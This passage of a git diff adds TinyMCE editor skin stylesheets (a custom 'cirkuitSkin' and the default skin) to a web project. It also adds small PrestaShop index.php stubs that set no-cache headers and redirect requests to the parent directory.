filter: alpha(opacity = 30); +} + +.cirkuitSkin .mceSplitButtonActive a.mceAction { + border: 1px solid #0A246A; + background-color: #C2CBE0; +} + +.cirkuitSkin table.mceSplitButton td { + background-image: url(img/butt2.png); + background-position: left top; + background-repeat: repeat-x; +} + +.cirkuitSkin .mceSplitButton a.mceAction, .cirkuitSkin .mceSplitButton a.mceOpen { + border-color: #B2B2B2; +} + +.cirkuitSkin .mceListBox a.mceText, .cirkuitSkin .mceSplitButton a.mceAction { + -moz-border-radius-bottomleft: 3px; + -webkit-border-bottom-left-radius: 3px; + -khtml-border-bottom-left-radius: 3px; + border-bottom-left-radius: 3px; + -moz-border-radius-topleft: 3px; + -webkit-border-top-left-radius: 3px; + -khtml-border-top-left-radius: 3px; + border-top-left-radius: 3px; +} + +.cirkuitSkin .mceSplitButton a.mceOpen, .cirkuitSkin .mceListBox a.mceOpen { + -moz-border-radius-bottomright: 3px; + -webkit-border-bottom-right-radius: 3px; + -khtml-border-bottom-right-radius: 3px; + border-bottom-right-radius: 3px; + -moz-border-radius-topright: 3px; + -webkit-border-top-right-radius: 3px; + -khtml-border-top-right-radius: 3px; + border-top-right-radius: 3px; +} + +.cirkuitSkin .mceSplitButton a.mceOpen:hover, .cirkuitSkin .mceSplitButtonSelected a.mceOpen, .cirkuitSkin table.mceSplitButtonEnabled:hover a.mceAction, .cirkuitSkin .mceSplitButton a.mceAction:hover { + background-color: #d5d5d5; + border-color: #777 !important; +} + +/* ColorSplitButton */ +.cirkuitSkin div.mceColorSplitMenu table { + background: #FFF; + border: 1px solid gray +} + +.cirkuitSkin .mceColorSplitMenu td { + padding: 2px +} + +.cirkuitSkin .mceColorSplitMenu a { + display: block; + width: 9px; + height: 9px; + overflow: hidden; + border: 1px solid #808080 +} + +.cirkuitSkin .mceColorSplitMenu td.mceMoreColors { + padding: 1px 3px 1px 1px +} + +.cirkuitSkin .mceColorSplitMenu a.mceMoreColors { + width: 100%; + height: auto; + text-align: center; + font-family: Tahoma, Verdana, Arial, Helvetica; + font-size: 11px; + line-height: 20px; + border: 1px solid #FFF +} + +.cirkuitSkin .mceColorSplitMenu a.mceMoreColors:hover { + border: 1px solid #0A246A; + background-color: #B6BDD2 +} + +.cirkuitSkin a.mceMoreColors:hover { + border: 1px solid #0A246A +} + +.cirkuitSkin .mceColorPreview { + margin-left: 2px; + width: 16px; + height: 3px; + overflow: hidden; + background: #9a9b9a +} + +.cirkuitSkin .mce_forecolor span.mceAction, .cirkuitSkin .mce_backcolor span.mceAction { + overflow: hidden; + height: 16px +} + +/* Menu */ +.cirkuitSkin .mceMenu { + position: absolute; + left: 0; + top: 0; + z-index: 1000; + border: 1px solid #D4D0C8 +} + +.cirkuitSkin .mceNoIcons span.mceIcon { + width: 0; +} + +.cirkuitSkin .mceNoIcons a .mceText { + padding-left: 10px +} + +.cirkuitSkin .mceMenu table { + background: #FFF +} + +.cirkuitSkin .mceMenu a, .cirkuitSkin .mceMenu span, .cirkuitSkin .mceMenu { + display: block +} + +.cirkuitSkin .mceMenu td { + height: 20px +} + +.cirkuitSkin .mceMenu a { + position: relative; + padding: 3px 0 4px 0 +} + +.cirkuitSkin .mceMenu .mceText { + position: relative; + display: block; + font-family: 'Lucida Grande', Helvetica, Arial, sans-serif; + color: #000; + cursor: default; + margin: 0; + padding: 0 25px 0 25px; + display: block +} + +.cirkuitSkin .mceMenu span.mceText, .cirkuitSkin .mceMenu .mcePreview { + font-size: 11px +} + +.cirkuitSkin .mceMenu pre.mceText { + font-family: Monospace +} + +.cirkuitSkin .mceMenu .mceIcon { + position: absolute; + top: 0; + left: 0; + width: 22px; +} + +.cirkuitSkin .mceMenu .mceMenuItemEnabled a:hover, .cirkuitSkin .mceMenu .mceMenuItemActive { + background-color: #dbecf3 +} + +.cirkuitSkin td.mceMenuItemSeparator { + background: #DDD; + height: 1px +} + +.cirkuitSkin .mceMenuItemTitle a { + border: 0; + background: #EEE; + border-bottom: 1px solid #DDD +} + +.cirkuitSkin .mceMenuItemTitle span.mceText { + color: #000; + font-weight: bold; + padding-left: 4px +} + +.cirkuitSkin .mceMenuItemDisabled .mceText { + color: #888 +} + +.cirkuitSkin .mceMenuItemSelected .mceIcon { + background: url('img/menu-check.png') +} + +.cirkuitSkin .mceNoIcons .mceMenuItemSelected a { + background: url('img/menu-arrow.png') no-repeat -6px center +} + +.cirkuitSkin .mceMenu span.mceMenuLine { + display: none +} + +.cirkuitSkin .mceMenuItemSub a { + background: url('img/menu-arrow.png') no-repeat top right; +} + +/* Progress,Resize */ +.cirkuitSkin .mceBlocker { + position: absolute; + left: 0; + top: 0; + z-index: 1000; + opacity: 0.5; + -ms-filter: 'alpha(opacity=50)'; + filter: alpha(opacity = 50); + background: #FFF +} + +.cirkuitSkin .mceProgress { + position: absolute; + left: 0; + top: 0; + z-index: 1001; + background: url('img/progress.gif') no-repeat; + width: 32px; + height: 32px; + margin: -16px 0 0 -16px +} + +.cirkuitSkin .mcePlaceHolder { + border: 1px dotted gray +} + +/* Formats */ +.cirkuitSkin .mce_formatPreview a { + font-size: 10px +} + +.cirkuitSkin .mce_p span.mceText { +} + +.cirkuitSkin .mce_address span.mceText { + font-style: italic +} + +.cirkuitSkin .mce_pre span.mceText { + font-family: monospace +} + +.cirkuitSkin .mce_h1 span.mceText { + font-weight: bolder; + font-size: 2em +} + +.cirkuitSkin .mce_h2 span.mceText { + font-weight: bolder; + font-size: 1.5em +} + +.cirkuitSkin .mce_h3 span.mceText { + font-weight: bolder; + font-size: 1.17em +} + +.cirkuitSkin .mce_h4 span.mceText { + font-weight: bolder; + font-size: 1em +} + +.cirkuitSkin .mce_h5 span.mceText { + font-weight: bolder; + font-size: .83em +} + +.cirkuitSkin .mce_h6 span.mceText { + font-weight: bolder; + font-size: .75em +} + +/* border */ +.cirkuitSkin .mceExternalToolbar, .cirkuitSkin .mceButton, .cirkuitSkin a.mceButtonEnabled:hover, .cirkuitSkin a.mceButtonActive, .cirkuitSkin a.mceButtonSelected, .cirkuitSkin .mceListBox .mceText, .cirkuitSkin .mceListBox .mceOpen, .cirkuitSkin table.mceListBoxEnabled:hover .mceText, .cirkuitSkin .mceListBoxHover .mceText, .cirkuitSkin .mceListBoxSelected .mceText, .cirkuitSkin table.mceListBoxEnabled:hover .mceOpen, .cirkuitSkin .mceListBoxHover .mceOpen, .cirkuitSkin .mceListBoxSelected .mceOpen, .cirkuitSkin select.mceListBox, .cirkuitSkin .mceSplitButton a.mceAction, .cirkuitSkin .mceSplitButton a.mceOpen, .cirkuitSkin .mceSplitButton a.mceOpen:hover, .cirkuitSkin .mceSplitButtonSelected a.mceOpen, .cirkuitSkin table.mceSplitButtonEnabled:hover a.mceAction, .cirkuitSkin .mceSplitButton a.mceAction:hover, .cirkuitSkin div.mceColorSplitMenu table, .cirkuitSkin .mceColorSplitMenu a, .cirkuitSkin .mceColorSplitMenu a.mceMoreColors, .cirkuitSkin .mceColorSplitMenu a.mceMoreColors:hover, .cirkuitSkin a.mceMoreColors:hover, .cirkuitSkin .mceMenu { + border-style: solid; + border-width: 1px; +} + +/* Theme */ +.cirkuitSkin span.mce_bold { + background-position: 0 0 !important; +} + +.cirkuitSkin span.mce_italic { + background-position: -60px 0 !important; +} + +.cirkuitSkin span.mce_underline { + background-position: -140px 0 !important; +} + +.cirkuitSkin span.mce_strikethrough { + background-position: -120px 0 !important; +} + +.cirkuitSkin span.mce_undo { + background-position: -160px 0 !important; +} + +.cirkuitSkin span.mce_redo { + background-position: -100px 0 !important; +} + +.cirkuitSkin span.mce_cleanup { + background-position: -40px 0 !important; +} + +.cirkuitSkin span.mce_bullist { + background-position: -20px 0 !important; +} + +.cirkuitSkin span.mce_numlist { + background-position: -80px 0 !important; +} + +.cirkuitSkin span.mce_justifyleft { + background-position: -460px 0 !important; +} + +.cirkuitSkin span.mce_justifyright { + background-position: -480px 0 !important; +} + +.cirkuitSkin span.mce_justifycenter { + background-position: -420px 0 !important; +} + +.cirkuitSkin span.mce_justifyfull { + background-position: -440px 0 !important; +} + +.cirkuitSkin span.mce_anchor { + background-position: -200px 0 !important; +} + +.cirkuitSkin span.mce_indent { + background-position: -400px 0 !important; +} + +.cirkuitSkin span.mce_outdent { + background-position: -540px 0 !important; +} + +.cirkuitSkin span.mce_link { + background-position: -500px 0 !important; +} + +.cirkuitSkin span.mce_unlink { + background-position: -640px 0 !important; +} + +.cirkuitSkin span.mce_sub { + background-position: -600px 0 !important; +} + +.cirkuitSkin span.mce_sup { + background-position: -620px 0 !important; +} + +.cirkuitSkin span.mce_removeformat { + background-position: -580px 0 !important; +} + +.cirkuitSkin span.mce_newdocument { + background-position: -520px 0 !important; +} + +.cirkuitSkin span.mce_image { + background-position: -380px 0 !important; +} + +.cirkuitSkin span.mce_help { + background-position: -340px 0 !important; +} + +.cirkuitSkin span.mce_code { + background-position: -260px 0 !important; +} + +.cirkuitSkin span.mce_hr { + background-position: -360px 0 !important; +} + +.cirkuitSkin span.mce_visualaid { + background-position: -660px 0 !important; +} + +.cirkuitSkin span.mce_charmap { + background-position: -240px 0 !important; +} + +.cirkuitSkin span.mce_paste { + background-position: -560px 0 !important; +} + +.cirkuitSkin span.mce_copy { + background-position: -700px 0 !important; +} + +.cirkuitSkin span.mce_cut { + background-position: -680px 0 !important; +} + +.cirkuitSkin span.mce_blockquote { + background-position: -220px 0 !important; +} + +.cirkuitSkin .mce_forecolor span.mceAction { + background-position: -720px 0 !important; +} + +.cirkuitSkin .mce_backcolor span.mceAction { + background-position: -760px 0 !important; +} + +.cirkuitSkin span.mce_forecolorpicker { + background-position: -720px 0 !important; +} + +.cirkuitSkin span.mce_backcolorpicker { + background-position: -760px 0 !important; +} + +/* Plugins */ +.cirkuitSkin span.mce_advhr { + background-position: -0px -20px !important; +} + +.cirkuitSkin span.mce_ltr { + background-position: -20px -20px !important; +} + +.cirkuitSkin span.mce_rtl { + background-position: -40px -20px !important; +} + +.cirkuitSkin span.mce_emotions { + background-position: -60px -20px !important; +} + +.cirkuitSkin span.mce_fullpage { + background-position: -80px -20px !important; +} + +.cirkuitSkin span.mce_fullscreen { + background-position: -100px -20px !important; +} + +.cirkuitSkin span.mce_iespell { + background-position: -120px -20px !important; +} + +.cirkuitSkin span.mce_insertdate { + background-position: -140px -20px !important; +} + +.cirkuitSkin span.mce_inserttime { + background-position: -160px -20px !important; +} + +.cirkuitSkin span.mce_absolute { + background-position: -180px -20px !important; +} + +.cirkuitSkin span.mce_backward { + background-position: -200px -20px !important; +} + +.cirkuitSkin span.mce_forward { + background-position: -220px -20px !important; +} + +.cirkuitSkin span.mce_insert_layer { + background-position: -240px -20px !important; +} + +.cirkuitSkin span.mce_insertlayer { + background-position: -260px -20px !important; +} + +.cirkuitSkin span.mce_movebackward { + background-position: -280px -20px !important; +} + +.cirkuitSkin span.mce_moveforward { + background-position: -300px -20px !important; +} + +.cirkuitSkin span.mce_media { + background-position: -320px -20px !important; +} + +.cirkuitSkin span.mce_nonbreaking { + background-position: -340px -20px !important; +} + +.cirkuitSkin span.mce_pastetext { + background-position: -360px -20px !important; +} + +.cirkuitSkin span.mce_pasteword { + background-position: -380px -20px !important; +} + +.cirkuitSkin span.mce_selectall { + background-position: -400px -20px !important; +} + +.cirkuitSkin span.mce_preview { + background-position: -420px -20px !important; +} + +.cirkuitSkin span.mce_print { + background-position: -440px -20px !important; +} + +.cirkuitSkin span.mce_cancel { + background-position: -460px -20px !important; +} + +.cirkuitSkin span.mce_save { + background-position: -480px -20px !important; +} + +.cirkuitSkin span.mce_replace { + background-position: -500px -20px !important; +} + +.cirkuitSkin span.mce_search { + background-position: -520px -20px !important; +} + +.cirkuitSkin span.mce_styleprops { + background-position: -560px -20px !important; +} + +.cirkuitSkin span.mce_table { + background-position: -580px -20px !important; +} + +.cirkuitSkin span.mce_cell_props { + background-position: -600px -20px !important; +} + +.cirkuitSkin span.mce_delete_table { + background-position: -620px -20px !important; +} + +.cirkuitSkin span.mce_delete_col { + background-position: -640px -20px !important; +} + +.cirkuitSkin span.mce_delete_row { + background-position: -660px -20px !important; +} + +.cirkuitSkin span.mce_col_after { + background-position: -680px -20px !important; +} + +.cirkuitSkin span.mce_col_before { + background-position: -700px -20px !important; +} + +.cirkuitSkin span.mce_row_after { + background-position: -720px -20px !important; +} + +.cirkuitSkin span.mce_row_before { + background-position: -740px -20px !important; +} + +.cirkuitSkin span.mce_merge_cells { + background-position: -760px -20px !important; +} + +.cirkuitSkin span.mce_table_props { + background-position: -980px -20px !important; +} + +.cirkuitSkin span.mce_row_props { + background-position: -780px -20px !important; +} + +.cirkuitSkin span.mce_split_cells { + background-position: -800px -20px !important; +} + +.cirkuitSkin span.mce_template { + background-position: -820px -20px !important; +} + +.cirkuitSkin span.mce_visualchars { + background-position: -840px -20px !important; +} + +.cirkuitSkin span.mce_abbr { + background-position: -860px -20px !important; +} + +.cirkuitSkin span.mce_acronym { + background-position: -880px -20px !important; +} + +.cirkuitSkin span.mce_attribs { + background-position: -900px -20px !important; +} + +.cirkuitSkin span.mce_cite { + background-position: -920px -20px !important; +} + +.cirkuitSkin span.mce_del { + background-position: -940px -20px !important; +} + +.cirkuitSkin span.mce_ins { + background-position: -960px -20px !important; +} + +.cirkuitSkin span.mce_pagebreak { + background-position: 0 -40px !important; +} + +.cirkuitSkin .mce_spellchecker span.mceAction { + background-position: -540px -20px !important; +} + +.cirkuitSkin span.mce_restoredraft { + background-position: -20px -40px !important; +} diff --git a/js/tiny_mce/themes/advanced/skins/default/content.css b/js/tiny_mce/themes/advanced/skins/default/content.css new file mode 100755 index 0000000..4d63ca9 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/default/content.css @@ -0,0 +1,50 @@ +body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;} +body {background:#FFF;} +body.mceForceColors {background:#FFF; color:#000;} +body.mceBrowserDefaults {background:transparent; color:inherit; font-size:inherit; font-family:inherit;} +h1 {font-size: 2em} +h2 {font-size: 1.5em} +h3 {font-size: 1.17em} +h4 {font-size: 1em} +h5 {font-size: .83em} +h6 {font-size: .75em} +.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} +a.mceItemAnchor {display:inline-block; -webkit-user-select:all; -webkit-user-modify:read-only; -moz-user-select:all; -moz-user-modify:read-only; width:11px !important; height:11px !important; background:url(img/items.gif) no-repeat center center} +span.mceItemNbsp {background: #DDD} +td.mceSelected, th.mceSelected {background-color:#3399ff !important} +img {border:0;} +table, img, hr, .mceItemAnchor {cursor:default} +table td, table th {cursor:text} +ins {border-bottom:1px solid green; text-decoration: none; color:green} +del {color:red; text-decoration:line-through} +cite {border-bottom:1px dashed blue} +acronym {border-bottom:1px dotted #CCC; cursor:help} +abbr {border-bottom:1px dashed #CCC; cursor:help} + +/* IE */ +* html body { +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +} + +img:-moz-broken {-moz-force-broken-image-icon:1; width:24px; height:24px} +font[face=mceinline] {font-family:inherit !important} +*[contentEditable]:focus {outline:0} + +.mceItemMedia {border:1px dotted #cc0000; background-position:center; background-repeat:no-repeat; background-color:#ffffcc} +.mceItemShockWave {background-image:url(../../img/shockwave.gif)} +.mceItemFlash {background-image:url(../../img/flash.gif)} +.mceItemQuickTime {background-image:url(../../img/quicktime.gif)} +.mceItemWindowsMedia {background-image:url(../../img/windowsmedia.gif)} +.mceItemRealMedia {background-image:url(../../img/realmedia.gif)} +.mceItemVideo {background-image:url(../../img/video.gif)} +.mceItemAudio {background-image:url(../../img/video.gif)} +.mceItemEmbeddedAudio {background-image:url(../../img/video.gif)} +.mceItemIframe {background-image:url(../../img/iframe.gif)} +.mcePageBreak {display:block;border:0;width:100%;height:12px;border-top:1px dotted #ccc;margin-top:15px;background:#fff url(../../img/pagebreak.gif) no-repeat center top;} diff --git a/js/tiny_mce/themes/advanced/skins/default/dialog.css b/js/tiny_mce/themes/advanced/skins/default/dialog.css new file mode 100755 index 0000000..1f5598c --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/default/dialog.css @@ -0,0 +1,117 @@ +/* Generic */ +body { +font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDDDDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +background:#F0F0EE; +padding:0; +margin:8px 8px 0 8px; +} + +html {background:#F0F0EE;} +td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +textarea {resize:none;outline:none;} +a:link, a:visited {color:black;} +a:hover {color:#2B6FB6;} +.nowrap {white-space: nowrap} + +/* Forms */ +fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;} +legend {color:#2B6FB6; font-weight:bold;} +label.msg {display:none;} +label.invalid {color:#EE0000; display:inline;} +input.invalid {border:1px solid #EE0000;} +input {background:#FFF; border:1px solid #CCC;} +input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +input, select, textarea {border:1px solid #808080;} +input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} +input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} +.input_noborder {border:0;} + +/* Buttons */ +#insert, #cancel, input.button, .updateButton { +border:0; margin:0; padding:0; +font-weight:bold; +width:94px; height:26px; +background:url(img/buttons.png) 0 -26px; +cursor:pointer; +padding-bottom:2px; +float:left; +} + +#insert {background:url(img/buttons.png) 0 -52px} +#cancel {background:url(img/buttons.png) 0 0; float:right} + +/* Browse */ +a.pickcolor, a.browse {text-decoration:none} +a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} +.mceOldBoxModel a.browse span {width:22px; height:20px;} +a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} +a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} +a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} +.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} +a.pickcolor:hover span {background-color:#B2BBD0;} +a.pickcolor:hover span.disabled {} + +/* Charmap */ +table.charmap {border:1px solid #AAA; text-align:center} +td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} +#charmap a {display:block; color:#000; text-decoration:none; border:0} +#charmap a:hover {background:#CCC;color:#2B6FB6} +#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} +#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} + +/* Source */ +.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} +.mceActionPanel {margin-top:5px;} + +/* Tabs classes */ +.tabs {width:100%; height:18px; line-height:normal; background:url(img/tabs.gif) repeat-x 0 -72px;} +.tabs ul {margin:0; padding:0; list-style:none;} +.tabs li {float:left; background:url(img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} +.tabs li.current {background:url(img/tabs.gif) no-repeat 0 -18px; margin-right:2px;} +.tabs span {float:left; display:block; background:url(img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;} +.tabs .current span {background:url(img/tabs.gif) no-repeat right -54px;} +.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} +.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} + +/* Panels */ +.panel_wrapper div.panel {display:none;} +.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} +.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} + +/* Columns */ +.column {float:left;} +.properties {width:100%;} +.properties .column1 {} +.properties .column2 {text-align:left;} + +/* Titles */ +h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} +h3 {font-size:14px;} +.title {font-size:12px; font-weight:bold; color:#2B6FB6;} + +/* Dialog specific */ +#link .panel_wrapper, #link div.current {height:125px;} +#image .panel_wrapper, #image div.current {height:200px;} +#plugintable thead {font-weight:bold; background:#DDD;} +#plugintable, #about #plugintable td {border:1px solid #919B9C;} +#plugintable {width:96%; margin-top:10px;} +#pluginscontainer {height:290px; overflow:auto;} +#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} +#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} +#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} +#colorpicker #light div {overflow:hidden;} +#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} +#colorpicker .panel_wrapper div.current {height:175px;} +#colorpicker #namedcolors {width:150px;} +#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} +#colorpicker #colornamecontainer {margin-top:5px;} +#colorpicker #picker_panel fieldset {margin:auto;width:325px;} diff --git a/js/tiny_mce/themes/advanced/skins/default/img/buttons.png b/js/tiny_mce/themes/advanced/skins/default/img/buttons.png new file mode 100755 index 0000000..1e53560 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/default/img/buttons.png differ diff --git a/js/tiny_mce/themes/advanced/skins/default/img/index.php b/js/tiny_mce/themes/advanced/skins/default/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/default/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/default/img/items.gif b/js/tiny_mce/themes/advanced/skins/default/img/items.gif new file mode 100755 index 0000000..d2f9367 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/default/img/items.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/default/img/menu_arrow.gif b/js/tiny_mce/themes/advanced/skins/default/img/menu_arrow.gif new file mode 100755 index 0000000..85e31df Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/default/img/menu_arrow.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/default/img/menu_check.gif b/js/tiny_mce/themes/advanced/skins/default/img/menu_check.gif new file mode 100755 index 0000000..adfdddc Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/default/img/menu_check.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/default/img/progress.gif b/js/tiny_mce/themes/advanced/skins/default/img/progress.gif new file mode 100755 index 0000000..5bb90fd Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/default/img/progress.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/default/img/tabs.gif b/js/tiny_mce/themes/advanced/skins/default/img/tabs.gif new file mode 100755 index 0000000..06812cb Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/default/img/tabs.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/default/index.php b/js/tiny_mce/themes/advanced/skins/default/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/default/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/default/ui.css b/js/tiny_mce/themes/advanced/skins/default/ui.css new file mode 100755 index 0000000..ab2204d --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/default/ui.css @@ -0,0 +1,214 @@ +/* Reset */ +.defaultSkin table, .defaultSkin tbody, .defaultSkin a, .defaultSkin img, .defaultSkin tr, .defaultSkin div, .defaultSkin td, .defaultSkin iframe, .defaultSkin span, .defaultSkin *, .defaultSkin .mceText {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000; vertical-align:baseline; width:auto; border-collapse:separate; text-align:left} +.defaultSkin a:hover, .defaultSkin a:link, .defaultSkin a:visited, .defaultSkin a:active {text-decoration:none; font-weight:normal; cursor:default; color:#000} +.defaultSkin table td {vertical-align:middle} + +/* Containers */ +.defaultSkin table {direction:ltr;background:transparent} +.defaultSkin iframe {display:block;} +.defaultSkin .mceToolbar {height:26px} +.defaultSkin .mceLeft {text-align:left} +.defaultSkin .mceRight {text-align:right} + +/* External */ +.defaultSkin .mceExternalToolbar {position:absolute; border:1px solid #CCC; border-bottom:0; display:none;} +.defaultSkin .mceExternalToolbar td.mceToolbar {padding-right:13px;} +.defaultSkin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0} + +/* Layout */ +.defaultSkin table.mceLayout {border:0; border-left:1px solid #CCC; border-right:1px solid #CCC} +.defaultSkin table.mceLayout tr.mceFirst td {border-top:1px solid #CCC} +.defaultSkin table.mceLayout tr.mceLast td {border-bottom:1px solid #CCC} +.defaultSkin table.mceToolbar, .defaultSkin tr.mceFirst .mceToolbar tr td, .defaultSkin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0;} +.defaultSkin td.mceToolbar {background:#F0F0EE; padding-top:1px; vertical-align:top} +.defaultSkin .mceIframeContainer {border-top:1px solid #CCC; border-bottom:1px solid #CCC} +.defaultSkin .mceStatusbar {background:#F0F0EE; font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:9pt; line-height:16px; overflow:visible; color:#000; display:block; height:20px} +.defaultSkin .mceStatusbar div {float:left; margin:2px} +.defaultSkin .mceStatusbar a.mceResize {display:block; float:right; background:url(../../img/icons.gif) -800px 0; width:20px; height:20px; cursor:se-resize; outline:0} +.defaultSkin .mceStatusbar a:hover {text-decoration:underline} +.defaultSkin table.mceToolbar {margin-left:3px} +.defaultSkin span.mceIcon, .defaultSkin img.mceIcon {display:block; width:20px; height:20px} +.defaultSkin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px} +.defaultSkin td.mceCenter {text-align:center;} +.defaultSkin td.mceCenter table {margin:0 auto; text-align:left;} +.defaultSkin td.mceRight table {margin:0 0 0 auto;} + +/* Button */ +.defaultSkin .mceButton {display:block; border:1px solid #F0F0EE; width:20px; height:20px; margin-right:1px} +.defaultSkin a.mceButtonEnabled:hover {border:1px solid #0A246A; background-color:#B2BBD0} +.defaultSkin a.mceButtonActive, .defaultSkin a.mceButtonSelected {border:1px solid #0A246A; background-color:#C2CBE0} +.defaultSkin .mceButtonDisabled .mceIcon {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +.defaultSkin .mceButtonLabeled {width:auto} +.defaultSkin .mceButtonLabeled span.mceIcon {float:left} +.defaultSkin span.mceButtonLabel {display:block; font-size:10px; padding:4px 6px 0 22px; font-family:Tahoma,Verdana,Arial,Helvetica} +.defaultSkin .mceButtonDisabled .mceButtonLabel {color:#888} + +/* Separator */ +.defaultSkin .mceSeparator {display:block; background:url(../../img/icons.gif) -180px 0; width:2px; height:20px; margin:2px 2px 0 4px} + +/* ListBox */ +.defaultSkin .mceListBox, .defaultSkin .mceListBox a {display:block} +.defaultSkin .mceListBox .mceText {padding-left:4px; width:70px; text-align:left; border:1px solid #CCC; border-right:0; background:#FFF; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; height:20px; line-height:20px; overflow:hidden} +.defaultSkin .mceListBox .mceOpen {width:9px; height:20px; background:url(../../img/icons.gif) -741px 0; margin-right:2px; border:1px solid #CCC;} +.defaultSkin table.mceListBoxEnabled:hover .mceText, .defaultSkin .mceListBoxHover .mceText, .defaultSkin .mceListBoxSelected .mceText {border:1px solid #A2ABC0; border-right:0; background:#FFF} +.defaultSkin table.mceListBoxEnabled:hover .mceOpen, .defaultSkin .mceListBoxHover .mceOpen, .defaultSkin .mceListBoxSelected .mceOpen {background-color:#FFF; border:1px solid #A2ABC0} +.defaultSkin .mceListBoxDisabled a.mceText {color:gray; background-color:transparent;} +.defaultSkin .mceListBoxMenu {overflow:auto; overflow-x:hidden} +.defaultSkin .mceOldBoxModel .mceListBox .mceText {height:22px} +.defaultSkin .mceOldBoxModel .mceListBox .mceOpen {width:11px; height:22px;} +.defaultSkin select.mceNativeListBox {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:7pt; background:#F0F0EE; border:1px solid gray; margin-right:2px;} + +/* SplitButton */ +.defaultSkin .mceSplitButton {width:32px; height:20px; 